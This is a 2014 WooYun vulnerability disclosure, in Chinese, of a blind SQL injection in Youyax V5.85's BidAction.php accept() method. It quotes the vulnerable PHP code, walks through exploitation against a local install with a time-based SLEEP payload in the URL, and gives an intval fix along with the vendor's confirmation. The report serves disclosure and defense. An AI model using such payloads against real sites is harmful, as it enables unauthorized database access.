当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079829

漏洞标题:Youyax最新版(V5.85)注入一枚

相关厂商:youyax.com

漏洞作者: SLAckEr

提交时间:2014-10-21 12:54

修复时间:2015-01-19 12:56

公开时间:2015-01-19 12:56

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向第三方安全合作伙伴开放
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

简要描述:

RT,是一处盲注。

详细说明:

大半夜来提交洞了,快凌晨2点了,蛋碎。
看文件/Lib/BidAction.php 13-35行

public function accept()
{
$id = getparam("id");
$id2 = getparam("id2");
$reply = $this->find(C('db_prefix') . "reply", "string", "id2='" . $id2 . "' and rid='" . $id . "'");
if ($reply) {
$talk = $this->find(C('db_prefix') . "talk", "string", "id='" . $id . "'");
if ($talk) {
if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1)) {
mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);
mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");
mysql_query("update " . C('db_prefix') . "user set bid=bid+" . $talk['question_bid'] . " where user='" . $reply['zuozhe1'] . "'");
$this->redirect("Content" . C('default_url') . "index" . C('default_url') . "id" . C('default_url') . $id . C('static_url'));
} else {
$this->error();
}
} else {
$this->error();
}
} else {
$this->error();
}
}


注意这里

mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);


mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");


能看出来id和id2这2个参数是没经过过滤就直接带入了update.
那么下面分析如何才能实现这个利用
看这句

if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1))


如果从上面过来的talk表里面的作者跟当前session的作者是同一人,并且发的帖子需要是一个提问帖,is_question就是来判断是否为提问帖。

漏洞证明:

看利用,
首先注册一个号。发布一个提问帖

图片1.png


然后记下当前帖子的id,现在是4

图片2.png


自己随便回复一个,记下回复的id,,这个如何找到呢?把鼠标移到编辑那里就能晓得了

图片3.png


当前是5.
看了下数据库的结构,在源码中id传给了rid也就是帖子的id,所以id=4
id2回复的id也就是5
访问http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5.html
当前这两个参数都是可以注入的。

图片4.png


2014/10/18 2:02	update youyax_reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(http://127.0.0.1/YouYaX/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=5


没有回显,就盲注,
http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5 AND 1111=IF((select length(database())=2),SLEEP(5),1111).html

图片5.png


如果猜解正确的话 浏览器转5秒返回页面,如果长度猜解错误,则直接返回页面。
如果猜解正确的话,页面会返回正确,如果猜解错误,则采纳的答案就会多一条,看图

图片6.png


图片7.png


修复方案:

intval一下。

版权声明:转载请注明来源 SLAckEr@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-21 19:57

厂商回复:

还是改核心类靠谱

最新状态:

暂无